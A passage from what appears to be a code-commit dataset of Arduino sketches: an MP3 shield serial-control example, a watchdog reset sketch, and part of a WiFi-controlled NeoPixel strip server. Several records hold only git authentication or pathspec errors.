+= 2; \/\/ keep it simpler with whole dB's\n }\n } else {\n if(mp3_vol.byte[1] <= 2) { \/\/ range check\n mp3_vol.byte[1] = 2;\n } else {\n mp3_vol.byte[1] -= 2;\n }\n }\n \/\/ push byte[1] into both left and right assuming equal balance.\n MP3player.setVolume(mp3_vol.byte[1], mp3_vol.byte[1]); \/\/ commit new volume\n Serial.print(F(\"Volume changed to -\"));\n Serial.print(mp3_vol.byte[1]>>1, 1);\n Serial.println(F(\"[dB]\"));\n\n \/\/if < or > to change Play Speed\n } else if((key_command == '>') || (key_command == '<')) {\n uint16_t playspeed = MP3player.getPlaySpeed(); \/\/ create key_command existing variable\n \/\/ note playspeed of Zero is equal to ONE, normal speed.\n if(key_command == '>') { \/\/ note dB is negative\n \/\/ assume equal balance and use byte[1] for math\n if(playspeed >= 254) { \/\/ range check\n playspeed = 5;\n } else {\n playspeed += 1; \/\/ keep it simpler with whole dB's\n }\n } else {\n if(playspeed == 0) { \/\/ range check\n playspeed = 0;\n } else {\n playspeed -= 1;\n }\n }\n MP3player.setPlaySpeed(playspeed); \/\/ commit new playspeed\n Serial.print(F(\"playspeed to \"));\n Serial.println(playspeed, DEC);\n\n \/* Alterativly, you could call a track by it's file name by using playMP3(filename);\n But you must stick to 8.1 filenames, only 8 characters long, and 3 for the extension *\/\n } else if(key_command == 'f' || key_command == 'F') {\n uint32_t offset = 0;\n if (key_command == 'F') {\n offset = 2000;\n }\n\n \/\/create a string with the filename\n char trackName[] = \"track001.mp3\";\n\n#if USE_MULTIPLE_CARDS\n sd.chvol(); \/\/ assign desired sdcard's volume.\n#endif\n \/\/tell the MP3 Shield to play that file\n result = MP3player.playMP3(trackName, offset);\n \/\/check result, see readme for error codes.\n if(result != 0) {\n Serial.print(F(\"Error code: \"));\n Serial.print(result);\n Serial.println(F(\" when trying to play track\"));\n }\n\n \/* Display the file on the SdCard *\/\n } else if(key_command == 'd') {\n if(!MP3player.isPlaying()) {\n \/\/ prevent root.ls when playing, something locks the dump. but keeps playing.\n \/\/ yes, I have tried another unique instance with same results.\n \/\/ something about SdFat and its 500byte cache.\n Serial.println(F(\"Files found (name date time size):\"));\n sd.ls(LS_R | LS_DATE | LS_SIZE);\n } else {\n Serial.println(F(\"Busy Playing Files, try again later.\"));\n }\n\n \/* Get and Display the Audio Information *\/\n } else if(key_command == 'i') {\n MP3player.getAudioInfo();\n\n } else if(key_command == 'p') {\n if( MP3player.getState() == playback) {\n MP3player.pauseMusic();\n Serial.println(F(\"Pausing\"));\n } else if( MP3player.getState() == paused_playback) {\n MP3player.resumeMusic();\n Serial.println(F(\"Resuming\"));\n } else {\n Serial.println(F(\"Not Playing!\"));\n }\n\n } else if(key_command == 't') {\n int8_t teststate = MP3player.enableTestSineWave(126);\n if(teststate == -1) {\n Serial.println(F(\"Un-Available while playing music or chip in reset.\"));\n } else if(teststate == 1) {\n Serial.println(F(\"Enabling Test Sine Wave\"));\n } else if(teststate == 2) {\n MP3player.disableTestSineWave();\n Serial.println(F(\"Disabling Test Sine Wave\"));\n }\n\n } else if(key_command == 'S') {\n Serial.println(F(\"Current State of VS10xx is.\"));\n Serial.print(F(\"isPlaying() = \"));\n Serial.println(MP3player.isPlaying());\n\n Serial.print(F(\"getState() = \"));\n switch (MP3player.getState()) {\n case uninitialized:\n Serial.print(F(\"uninitialized\"));\n break;\n case initialized:\n Serial.print(F(\"initialized\"));\n break;\n case deactivated:\n Serial.print(F(\"deactivated\"));\n break;\n case loading:\n Serial.print(F(\"loading\"));\n break;\n case ready:\n Serial.print(F(\"ready\"));\n break;\n case playback:\n Serial.print(F(\"playback\"));\n break;\n case paused_playback:\n Serial.print(F(\"paused_playback\"));\n break;\n case testing_memory:\n Serial.print(F(\"testing_memory\"));\n break;\n case testing_sinewave:\n Serial.print(F(\"testing_sinewave\"));\n break;\n }\n Serial.println();\n\n } else if(key_command == 'b') {\n Serial.println(F(\"Playing Static MIDI file.\"));\n MP3player.SendSingleMIDInote();\n Serial.println(F(\"Ended Static MIDI file.\"));\n\n#if !defined(__AVR_ATmega32U4__)\n } else if(key_command == 'm') {\n uint16_t teststate = MP3player.memoryTest();\n if(teststate == -1) {\n Serial.println(F(\"Un-Available while playing music or chip in reset.\"));\n } else if(teststate == 2) {\n teststate = MP3player.disableTestSineWave();\n Serial.println(F(\"Un-Available while Sine Wave Test\"));\n } else {\n Serial.print(F(\"Memory Test Results = \"));\n Serial.println(teststate, HEX);\n Serial.println(F(\"Result should be 0x83FF.\"));\n Serial.println(F(\"Reset is needed to recover to normal operation\"));\n }\n\n } else if(key_command == 'e') {\n uint8_t earspeaker = MP3player.getEarSpeaker();\n if(earspeaker >= 3){\n earspeaker = 0;\n } else {\n earspeaker++;\n }\n MP3player.setEarSpeaker(earspeaker); \/\/ commit new earspeaker\n Serial.print(F(\"earspeaker to \"));\n Serial.println(earspeaker, DEC);\n\n } else if(key_command == 'r') {\n MP3player.resumeMusic(2000);\n\n } else if(key_command == 'R') {\n MP3player.stopTrack();\n MP3player.vs_init();\n Serial.println(F(\"Reseting VS10xx chip\"));\n\n } else if(key_command == 'g') {\n int32_t offset_ms = 20000; \/\/ Note this is just an example, try your own number.\n Serial.print(F(\"jumping to \"));\n Serial.print(offset_ms, DEC);\n Serial.println(F(\"[milliseconds]\"));\n result = MP3player.skipTo(offset_ms);\n if(result != 0) {\n Serial.print(F(\"Error code: \"));\n Serial.print(result);\n Serial.println(F(\" when trying to skip track\"));\n }\n\n } else if(key_command == 'k') {\n int32_t offset_ms = -1000; \/\/ Note this is just an example, try your own number.\n Serial.print(F(\"moving = \"));\n Serial.print(offset_ms, DEC);\n Serial.println(F(\"[milliseconds]\"));\n result = MP3player.skip(offset_ms);\n if(result != 0) {\n Serial.print(F(\"Error code: \"));\n Serial.print(result);\n Serial.println(F(\" when trying to skip track\"));\n }\n\n } else if(key_command == 'O') {\n MP3player.end();\n Serial.println(F(\"VS10xx placed into low power reset mode.\"));\n\n } else if(key_command == 'o') {\n MP3player.begin();\n Serial.println(F(\"VS10xx restored from low power reset mode.\"));\n\n } else if(key_command == 'D') {\n uint16_t diff_state = MP3player.getDifferentialOutput();\n Serial.print(F(\"Differential Mode \"));\n if(diff_state == 0) {\n MP3player.setDifferentialOutput(1);\n Serial.println(F(\"Enabled.\"));\n } else {\n MP3player.setDifferentialOutput(0);\n Serial.println(F(\"Disabled.\"));\n }\n\n } else if(key_command == 'V') {\n MP3player.setVUmeter(1);\n Serial.println(F(\"Use \\\"No line ending\\\"\"));\n Serial.print(F(\"VU meter = \"));\n Serial.println(MP3player.getVUmeter());\n Serial.println(F(\"Hit Any key to stop.\"));\n\n while(!Serial.available()) {\n union twobyte vu;\n vu.word = MP3player.getVUlevel();\n Serial.print(F(\"VU: L = \"));\n Serial.print(vu.byte[1]);\n Serial.print(F(\" \/ R = \"));\n Serial.print(vu.byte[0]);\n Serial.println(\" dB\");\n delay(1000);\n }\n Serial.read();\n\n MP3player.setVUmeter(0);\n Serial.print(F(\"VU meter = \"));\n Serial.println(MP3player.getVUmeter());\n\n } else if(key_command == 'T') {\n uint16_t TrebleFrequency = MP3player.getTrebleFrequency();\n Serial.print(F(\"Former TrebleFrequency = \"));\n Serial.println(TrebleFrequency, DEC);\n if (TrebleFrequency >= 15000) { \/\/ Range is from 0 - 1500Hz\n TrebleFrequency = 0;\n } else {\n TrebleFrequency += 1000;\n }\n MP3player.setTrebleFrequency(TrebleFrequency);\n Serial.print(F(\"New TrebleFrequency = \"));\n Serial.println(MP3player.getTrebleFrequency(), DEC);\n\n } else if(key_command == 'E') {\n int8_t TrebleAmplitude = MP3player.getTrebleAmplitude();\n Serial.print(F(\"Former TrebleAmplitude = \"));\n Serial.println(TrebleAmplitude, DEC);\n if (TrebleAmplitude >= 7) { \/\/ Range is from -8 - 7dB\n TrebleAmplitude = -8;\n } else {\n TrebleAmplitude++;\n }\n MP3player.setTrebleAmplitude(TrebleAmplitude);\n Serial.print(F(\"New TrebleAmplitude = \"));\n Serial.println(MP3player.getTrebleAmplitude(), DEC);\n\n } else if(key_command == 'B') {\n uint16_t BassFrequency = MP3player.getBassFrequency();\n Serial.print(F(\"Former BassFrequency = \"));\n Serial.println(BassFrequency, DEC);\n if (BassFrequency >= 150) { \/\/ Range is from 20hz - 150hz\n BassFrequency = 0;\n } else {\n BassFrequency += 10;\n }\n MP3player.setBassFrequency(BassFrequency);\n Serial.print(F(\"New BassFrequency = \"));\n Serial.println(MP3player.getBassFrequency(), DEC);\n\n } else if(key_command == 'C') {\n uint16_t BassAmplitude = MP3player.getBassAmplitude();\n Serial.print(F(\"Former BassAmplitude = \"));\n Serial.println(BassAmplitude, DEC);\n if (BassAmplitude >= 15) { \/\/ Range is from 0 - 15dB\n BassAmplitude = 0;\n } else {\n BassAmplitude++;\n }\n MP3player.setBassAmplitude(BassAmplitude);\n Serial.print(F(\"New BassAmplitude = \"));\n Serial.println(MP3player.getBassAmplitude(), DEC);\n\n } else if(key_command == 'M') {\n uint16_t monostate = MP3player.getMonoMode();\n Serial.print(F(\"Mono Mode \"));\n if(monostate == 0) {\n MP3player.setMonoMode(1);\n Serial.println(F(\"Enabled.\"));\n } else {\n MP3player.setMonoMode(0);\n Serial.println(F(\"Disabled.\"));\n }\n#endif\n\n \/* List out music files on the SdCard *\/\n } else if(key_command == 'l') {\n if(!MP3player.isPlaying()) {\n Serial.println(F(\"Music Files found :\"));\n SdFile file;\n char filename[13];\n sd.chdir(\"\/\",true);\n uint16_t count = 1;\n while (file.openNext(sd.vwd(),O_READ))\n {\n file.getFilename(filename);\n if ( isFnMusic(filename) ) {\n SerialPrintPaddedNumber(count, 5 );\n Serial.print(F(\": \"));\n Serial.println(filename);\n count++;\n }\n file.close();\n }\n Serial.println(F(\"Enter Index of File to play\"));\n\n } else {\n Serial.println(F(\"Busy Playing Files, try again later.\"));\n }\n\n } else if(key_command == 'h') {\n help();\n }\n\n \/\/ print prompt after key stroke has been processed.\n Serial.print(F(\"Time since last command: \")); \n Serial.println((float) (millis() - millis_prv)\/1000, 2); \n millis_prv = millis();\n Serial.print(F(\"Enter s,1-9,+,-,>,<,f,F,d,i,p,t,S,b\"));\n#if !defined(__AVR_ATmega32U4__)\n Serial.print(F(\",m,e,r,R,g,k,O,o,D,V,B,C,T,E,M:\"));\n#endif\n Serial.println(F(\",l,h :\"));\n}\n\n\/\/------------------------------------------------------------------------------\n\/**\n * \\brief Print Help Menu.\n *\n * Prints a full menu of the commands available along with descriptions.\n *\/\nvoid help() {\n Serial.println(F(\"Arduino SFEMP3Shield Library Example:\"));\n Serial.println(F(\" courtesy of Bill Porter & Michael P. Flaga\"));\n Serial.println(F(\"COMMANDS:\"));\n Serial.println(F(\" [1-9] to play a track\"));\n Serial.println(F(\" [f] play track001.mp3 by filename example\"));\n Serial.println(F(\" [F] same as [f] but with initial skip of 2 second\"));\n Serial.println(F(\" [s] to stop playing\"));\n Serial.println(F(\" [d] display directory of SdCard\"));\n Serial.println(F(\" [+ or -] to change volume\"));\n Serial.println(F(\" [> or <] to increment or decrement play speed by 1 factor\"));\n Serial.println(F(\" [i] retrieve current audio information (partial list)\"));\n Serial.println(F(\" [p] to pause.\"));\n Serial.println(F(\" [t] to toggle sine wave test\"));\n Serial.println(F(\" [S] Show State of Device.\"));\n Serial.println(F(\" [b] Play a MIDI File Beep\"));\n#if !defined(__AVR_ATmega32U4__)\n Serial.println(F(\" [e] increment Spatial EarSpeaker, default is 0, wraps after 4\"));\n Serial.println(F(\" [m] perform memory test. reset is needed after to recover.\"));\n Serial.println(F(\" [M] Toggle between Mono and Stereo Output.\"));\n Serial.println(F(\" [g] Skip to a predetermined offset of ms in current track.\"));\n Serial.println(F(\" [k] Skip a predetermined number of ms in current track.\"));\n Serial.println(F(\" [r] resumes play from 2s from begin of file\"));\n Serial.println(F(\" [R] Resets and initializes VS10xx chip.\"));\n Serial.println(F(\" [O] turns OFF the VS10xx into low power reset.\"));\n Serial.println(F(\" [o] turns ON the VS10xx out of low power reset.\"));\n Serial.println(F(\" [D] to toggle SM_DIFF between inphase and differential output\"));\n Serial.println(F(\" [V] Enable VU meter Test.\"));\n Serial.println(F(\" [B] Increament bass frequency by 10Hz\"));\n Serial.println(F(\" [C] Increament bass amplitude by 1dB\"));\n Serial.println(F(\" [T] Increament treble frequency by 1000Hz\"));\n Serial.println(F(\" [E] Increament treble amplitude by 1dB\"));\n#endif\n Serial.println(F(\" [l] Display list of music files\"));\n Serial.println(F(\" [0####] Enter index of file to play, zero pad! e.g. 01-65534\"));\n Serial.println(F(\" [h] this help\"));\n}\n\nvoid SerialPrintPaddedNumber(int16_t value, int8_t digits ) {\n int currentMax = 10;\n for (byte i=1; i<digits; i++){\n if (value < currentMax) {\n Serial.print(\"0\");\n }\n currentMax *= 10;\n }\n Serial.print(value);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MP3\/MP3.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4386fb1d5921fb745e90b9b1214ed3438e038a05","subject":"version 29\/7","message":"version 29\/7\n","repos":"janiversen\/SolarPower","old_file":"SolarControl.ino","new_file":"SolarControl.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/janiversen\/SolarPower.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"87067fc9b1271d1752a04a02b895e9e0098a604c","subject":"Removed vestigial #include GPSconfig.h","message":"Removed vestigial #include GPSconfig.h\n\n#include \"GPSconfig.h\" is leftover from some earlier version. Since the\nfie is no longer in the library, it causes a compilation error\n","repos":"1ChicagoDave\/Adafruit-GPS-Library,kaaLabs15\/Adafruit-GPS-Library,lolisa\/2014-15,huskyroboticsteam\/2014-15,lolisa\/2014-15,adafruit\/Adafruit-GPS-Library,huskyroboticsteam\/2014-15,lolisa\/2014-15,ulrichard\/Adafruit-GPS-Library,tonesandtones\/Adafruit-GPS-Library,huskyroboticsteam\/2014-15","old_file":"examples\/shield_sdlog\/shield_sdlog.ino","new_file":"examples\/shield_sdlog\/shield_sdlog.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tonesandtones\/Adafruit-GPS-Library.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"12a710813bbbcd4dc53c14d2e034f95cbd185748","subject":"Bumped version for release","message":"Bumped version for release\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8f19c3049b0ad4758e4566688a07190b5cdb7fa0","subject":"reset","message":"reset\n","repos":"ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook","old_file":"Reset\/Reset.ino","new_file":"Reset\/Reset.ino","new_contents":"#include <avr\/io.h>\n#include <avr\/wdt.h>\n\nint ledPin = LED_BUILTIN;\n\nvoid setup()\n{\n MCUSR=0;\n wdt_disable();\n Serial.begin(9600);\n Serial.println(\"BOOT!\");\n pinMode(ledPin, OUTPUT);\n digitalWrite(ledPin, LOW);\n delay(500);\n}\n\nvoid loop(){\n if (Serial.available() > 0){\n char cmd = Serial.read();\n if (cmd == 'r'){\n Serial.println(\"r received!\");\n wdt_enable(WDTO_1S);\n delay(1000);\n Serial.println(\"1 SEC.\");\n delay(1000);\n Serial.println(\"1 SEC.\");\n }\n }\n wdt_reset();\n Serial.println(\"loop\");\n digitalWrite(ledPin, HIGH);\n delay(500);\n digitalWrite(ledPin, LOW);\n delay(500);\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'Reset\/Reset.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"ec72795fb7d14aa30c24c0d0ebf4fa60d5f18f4e","subject":"Import initial","message":"Import initial\n","repos":"AuFilElec\/strip-ws2812,AuFilElec\/strip-ws2812","old_file":"stripNeopixel\/stripNeopixel.ino","new_file":"stripNeopixel\/stripNeopixel.ino","new_contents":"\/***************************************************\n Neo Pixel Christma Tree - CC3000 Version\n \n Light up a tree with all the colors of the holidays!\n Control the color, pattern, size, and speed of animation of a\n strip of neo pixels through a web page.\n \n See the Adafruit learning system guide for more details\n and usage information:\n \n Dependencies:\n - Adafruit CC3000 Library \n https:\/\/github.com\/adafruit\/Adafruit_CC3000_Library\n - Neo Pixel Library\n https:\/\/github.com\/adafruit\/Adafruit_NeoPixel\n \n License:\n \n This example is copyright (c) 2013 Tony DiCola (tony@tonydicola.com)\n and is released under an open source MIT license. See details at:\n http:\/\/opensource.org\/licenses\/MIT\n \n This code was adapted from Adafruit CC3000 library example \n code which has the following license:\n \n Designed specifically to work with the Adafruit WiFi products:\n ----> https:\/\/www.adafruit.com\/products\/1469\n\n Adafruit invests time and resources providing this open source code, \n please support Adafruit and open-source hardware by purchasing \n products from Adafruit!\n\n Written by Limor Fried & Kevin Townsend for Adafruit Industries. \n BSD license, all text above must be included in any redistribution\n \n Code adapt\u00e9 par et pour Au Fil Elec pour les besoins de l'entreprise\n ****************************************************\/\n \n#include <Adafruit_CC3000.h>\n#include <SPI.h>\n#include <Adafruit_NeoPixel.h>\n#include <avr\/wdt.h>\n#include \"utility\/debug.h\"\n#include \"utility\/socket.h\"\n\n#define debug\n\n\/\/ These are the interrupt and control pins\n#define ADAFRUIT_CC3000_IRQ 2 \/\/ MUST be an interrupt pin!\n\/\/ These can be any two pins\n#define ADAFRUIT_CC3000_VBAT 7\n#define ADAFRUIT_CC3000_CS 10\n\/\/ Use hardware SPI for the remaining pins\n\/\/ On an MEGA 2560, SCK = 20, MISO = 22, and MOSI = 21\n\nAdafruit_CC3000 cc3000 = Adafruit_CC3000(ADAFRUIT_CC3000_CS, ADAFRUIT_CC3000_IRQ, ADAFRUIT_CC3000_VBAT,\n SPI_CLOCK_DIVIDER); \/\/ you can change this clock speed\n\n#define WLAN_SSID \"your-network-SSID\" \/\/ cannot be longer than 32 characters!\n#define WLAN_PASS \"your-network-KEY-PASS\"\n\/\/ Security can be WLAN_SEC_UNSEC, WLAN_SEC_WEP, WLAN_SEC_WPA or WLAN_SEC_WPA2\n#define WLAN_SECURITY WLAN_SEC_WPA2\n\n#define LISTEN_PORT 80 \/\/ What TCP port to listen on for connections. \n \/\/ The HTTP protocol uses port 80 by default.\n\n#define MAX_ACTION 10 \/\/ Maximum length of the HTTP action that can be parsed.\n\n#define MAX_PATH 64 \/\/ Maximum length of the HTTP request path that can be parsed.\n \/\/ There isn't much memory available so keep this short!\n\n#define MAX_TYPE 10\n\n#define MAX_CALLBACK 10\n\n#define BUFFER_SIZE MAX_ACTION + MAX_PATH + 20 \/\/ Size of buffer for incoming request data.\n \/\/ Since only the first line is parsed this\n \/\/ needs to be as large as the maximum action\n \/\/ and path plus a little for whitespace and\n \/\/ HTTP version.\n\n#define TIMEOUT_MS 500 \/\/ Amount of time in milliseconds to wait for\n \/\/ an incoming request to finish. Don't set this\n \/\/ too high or your server could be slow to respond.\n\n\/\/ Neo pixel configuration\n#define PIXEL_PIN 4 \/\/ The pin which is connected to the neo pixel strip input.\n#define PIXEL_COUNT 60 \/\/ The number of neo pixels in the strip.\n\n\/\/ Parameter 1 = number of pixels in strip\n\/\/ Parameter 2 = pin number (most are valid)\n\/\/ Parameter 3 = pixel type flags, add together as needed:\n\/\/ NEO_KHZ800 800 KHz bitstream (most NeoPixel products w\/WS2812 LEDs)\n\/\/ NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)\n\/\/ NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)\n\/\/ NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(PIXEL_COUNT, PIXEL_PIN, NEO_GRB + NEO_KHZ800);\n\nAdafruit_CC3000_Server httpServer(LISTEN_PORT);\n\n\/\/ Color scheme definitions.\nstruct Color {\n uint8_t red;\n uint8_t green;\n uint8_t blue;\n \n Color(uint8_t red, uint8_t green, uint8_t blue): red(red), green(green), blue(blue) {}\n Color(): red(0), green(0), blue(0) {}\n};\n\nstruct ColorScheme {\n Color* colors;\n uint8_t count;\n \n ColorScheme(Color* colors, uint8_t count): colors(colors), count(count) {} \n};\n\nColor rgbColors[3] = { Color(255, 0, 0), Color(0, 255, 0), Color(0, 0, 255) };\nColorScheme rgb(rgbColors, 3);\n\nColor christmasColors[2] = { Color(255, 0, 0), Color(0, 255, 0) };\nColorScheme christmas(christmasColors, 2);\n\nColor hanukkahColors[2] = { Color(0, 0, 255), Color(255, 255, 255) };\nColorScheme hanukkah(hanukkahColors, 2);\n\nColor kwanzaaColors[3] = { Color(255, 0, 0), Color(0, 0, 0), Color(0, 255, 0) };\nColorScheme kwanzaa(kwanzaaColors, 3);\n\nColor rainbowColors[7] = { Color(255, 0, 0), Color(255, 128, 0), Color(255, 255, 0), Color(0, 255, 0), Color(0, 0, 255), Color(128, 0, 255), Color(255, 0, 255) };\nColorScheme rainbow(rainbowColors, 7);\n\nColor incandescentColors[2] = { Color(255, 140, 20), Color(0, 0, 0) };\nColorScheme incandescent(incandescentColors, 2);\n\nColor fireColors[3] = { Color(255, 0, 0), Color(255, 102, 0), Color(255, 192, 0) };\nColorScheme fire(fireColors, 3);\n\nColorScheme schemes[7] = { incandescent, rgb, christmas, hanukkah, kwanzaa, rainbow, fire };\n\n\/\/ Enumeration of possible pattern types.\nenum Pattern { BARS = 0, GRADIENT, RAINBOWS, RAINBOW_CYCLE, COLOR_WIPE, THEATER_CHASE, THEATER_CHASE_RAINBOW };\n\n\/\/ Bar width values (in number of pixels\/lights) for different size options.\nint barWidthValues[3] = { 1, \/\/ Small\n 3, \/\/ Medium\n 6 }; \/\/ Large\n\n\/\/ Gradient width values (in number of gradient repetitions, i.e. more repetitions equals a smaller gradient) for different size options.\nint gradientWidthValues[3] = { 12, \/\/ Small\n 6, \/\/ Medium\n 2 }; \/\/ Large\n\n\/\/ Speed values in amount of milliseconds to move one pixel\/light. Zero means no movement.\nint speedValues[4] = { 0, \/\/ None\n 500, \/\/ Slow\n 250, \/\/ Medium\n 50 }; \/\/ Fast\n\n\/\/ Variables to hold current state.\nint currentScheme = 0;\nPattern currentPattern = RAINBOW_CYCLE;\nint currentWidth = 0;\nint currentSpeed = 0;\n\nuint8_t buffer[BUFFER_SIZE+1];\nint bufindex = 0;\nchar action[MAX_ACTION+1];\nchar path[MAX_PATH+1];\nchar type[MAX_TYPE+1];\nchar value[5];\nchar callback[MAX_CALLBACK+1];\nchar response[64];\n\nvoid setup() {\n Serial.begin(115200);\n Serial.println(F(\"Hello, CC3000!\\n\")); \n\n Serial.print(\"Free RAM: \"); Serial.println(getFreeRam(), DEC);\n \n \/\/ Initialise the module\n Serial.println(F(\"\\nInitializing...\"));\n if (!cc3000.begin())\n {\n Serial.println(F(\"Couldn't begin()! Check your wiring?\"));\n while(1);\n }\n \n Serial.print(F(\"\\nAttempting to connect to \")); Serial.println(WLAN_SSID);\n if (!cc3000.connectToAP(WLAN_SSID, WLAN_PASS, WLAN_SECURITY)) {\n Serial.println(F(\"Failed!\"));\n while(1);\n }\n \n Serial.println(F(\"Connected!\"));\n \n Serial.println(F(\"Request DHCP\"));\n while (!cc3000.checkDHCP())\n {\n delay(100); \/\/ ToDo: Insert a DHCP timeout!\n } \n\n \/\/ Display the IP address DNS, Gateway, etc.\n while (! displayConnectionDetails()) {\n delay(1000);\n }\n \n \/\/ Initialize the neo pixel strip.\n strip.begin();\n strip.show();\n \/\/ Initialise random numbers\n randomSeed(analogRead(0));\n\n \/\/ ******************************************************\n \/\/ You can safely remove this to save some flash memory!\n \/\/ ******************************************************\n Serial.println(F(\"\\r\\nNOTE: This sketch may cause problems with other sketches\"));\n Serial.println(F(\"since the .disconnect() function is never called, so the\"));\n Serial.println(F(\"AP may refuse connection requests from the CC3000 until a\"));\n Serial.println(F(\"timeout period passes. This is normal behaviour since\"));\n Serial.println(F(\"there isn't an obvious moment to disconnect with a server.\\r\\n\"));\n \n \/\/ Start listening for connections\n httpServer.begin();\n \n Serial.println(F(\"Listening for connections...\"));\n}\n\n\/\/ Compute the color of a pixel at position i using a gradient of the color scheme. \n\/\/ This function is used internally by the gradient function.\nstruct Color gradientColor(struct ColorScheme& scheme, int range, int gradRange, int i) {\n \/\/wdt_enable(WDTO_1S);\n int curRange = i \/ range;\n int rangeIndex = i % range;\n int colorIndex = rangeIndex \/ gradRange;\n int start = colorIndex;\n int end = colorIndex+1;\n if (curRange % 2 != 0) {\n start = (scheme.count-1) - start;\n end = (scheme.count-1) - end;\n }\n return Color(map(rangeIndex % gradRange, 0, gradRange, scheme.colors[start].red, scheme.colors[end].red),\n map(rangeIndex % gradRange, 0, gradRange, scheme.colors[start].green, scheme.colors[end].green),\n map(rangeIndex % gradRange, 0, gradRange, scheme.colors[start].blue, scheme.colors[end].blue)); \n}\n\n\/\/ Display a gradient of colors for the provided color scheme.\n\/\/ Repeat is the number of repetitions of the gradient (pick a multiple of 2 for smooth looping of the gradient).\n\/\/ SpeedMS is the number of milliseconds it takes for the gradient to move one pixel. Set to zero for no animation.\nvoid gradient(struct ColorScheme& scheme, int repeat = 1, int speedMS = 1000) {\n \/\/wdt_enable(WDTO_1S);\n if (scheme.count < 2) return;\n \n int range = (int)ceil((float)PIXEL_COUNT \/ (float)repeat);\n int gradRange = (int)ceil((float)range \/ (float)(scheme.count - 1));\n \n unsigned long time = millis();\n int offset = speedMS > 0 ? time \/ speedMS : 0;\n\n Color oldColor = gradientColor(scheme, range, gradRange, PIXEL_COUNT-1+offset); \n for (int i = 0; i < PIXEL_COUNT; ++i) {\n Color currentColor = gradientColor(scheme, range, gradRange, i+offset);\n if (speedMS > 0) {\n \/\/ Blend old and current color based on time for smooth movement.\n strip.setPixelColor(i, map(time % speedMS, 0, speedMS, oldColor.red, currentColor.red),\n map(time % speedMS, 0, speedMS, oldColor.green, currentColor.green),\n map(time % speedMS, 0, speedMS, oldColor.blue, currentColor.blue));\n }\n else {\n \/\/ No animation, just use the current color. \n strip.setPixelColor(i, currentColor.red, currentColor.green, currentColor.blue);\n }\n oldColor = currentColor; \n }\n strip.show(); \n}\n\n\/\/ Display solid bars of color for the provided color scheme.\n\/\/ Width is the width of each bar in pixels\/lights.\n\/\/ SpeedMS is number of milliseconds it takes for the bars to move one pixel. Set to zero for no animation.\nvoid bars(struct ColorScheme& scheme, int width = 1, int speedMS = 1000) {\n \/\/wdt_enable(WDTO_1S);\n int maxSize = PIXEL_COUNT \/ scheme.count;\n if (width > maxSize) return;\n \n int offset = speedMS > 0 ? millis() \/ speedMS : 0;\n \n for (int i = 0; i < PIXEL_COUNT; ++i) {\n int colorIndex = ((i + offset) % (scheme.count * width)) \/ width;\n strip.setPixelColor(i, scheme.colors[colorIndex].red, scheme.colors[colorIndex].green, scheme.colors[colorIndex].blue);\n }\n strip.show(); \n}\n\/\/ Fill the dots one after the other with a color\nvoid colorWipe(uint32_t c, uint8_t wait) {\n for(uint16_t i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, c);\n strip.show();\n delay(wait);\n }\n}\n\nvoid rainbows(uint8_t wait) {\n uint16_t i, j;\n\n for(j=0; j<256; j++) {\n for(i=0; i<PIXEL_COUNT; i++) {\n strip.setPixelColor(i, Wheel((i+j) & 255));\n }\n strip.show();\n delay(wait);\n }\n}\n\n\/\/ Slightly different, this makes the rainbow equally distributed throughout\nvoid rainbowCycle(uint8_t wait) {\n uint16_t i, j, numbers;\n numbers = 256 * 5;\n\n for(j=0; j < numbers; j++) { \/\/ 5 cycles of all colors on wheel\n for(i=0; i < PIXEL_COUNT; i++) {\n strip.setPixelColor(i, Wheel(((i * 256 \/ PIXEL_COUNT) + j) & 255));\n }\n strip.show();\n delay(wait);\n }\n}\n\n\/\/Theatre-style crawling lights.\nvoid theaterChase(uint32_t c, uint8_t wait) {\n for (int j=0; j<10; j++) { \/\/do 10 cycles of chasing\n for (int q=0; q < 3; q++) {\n for (int i=0; i < PIXEL_COUNT; i=i+3) {\n strip.setPixelColor(i+q, c); \/\/turn every third pixel on\n }\n strip.show();\n\n delay(wait);\n\n for (int i=0; i < PIXEL_COUNT; i=i+3) {\n strip.setPixelColor(i+q, 0); \/\/turn every third pixel off\n }\n }\n }\n}\n\n\/\/Theatre-style crawling lights with rainbow effect\nvoid theaterChaseRainbow(uint8_t wait) {\n for (int j=0; j < 256; j++) { \/\/ cycle all 256 colors in the wheel\n for (int q=0; q < 3; q++) {\n for (int i=0; i < PIXEL_COUNT; i=i+3) {\n strip.setPixelColor(i+q, Wheel( (i+j) % 255)); \/\/turn every third pixel on\n }\n strip.show();\n\n delay(wait);\n\n for (int 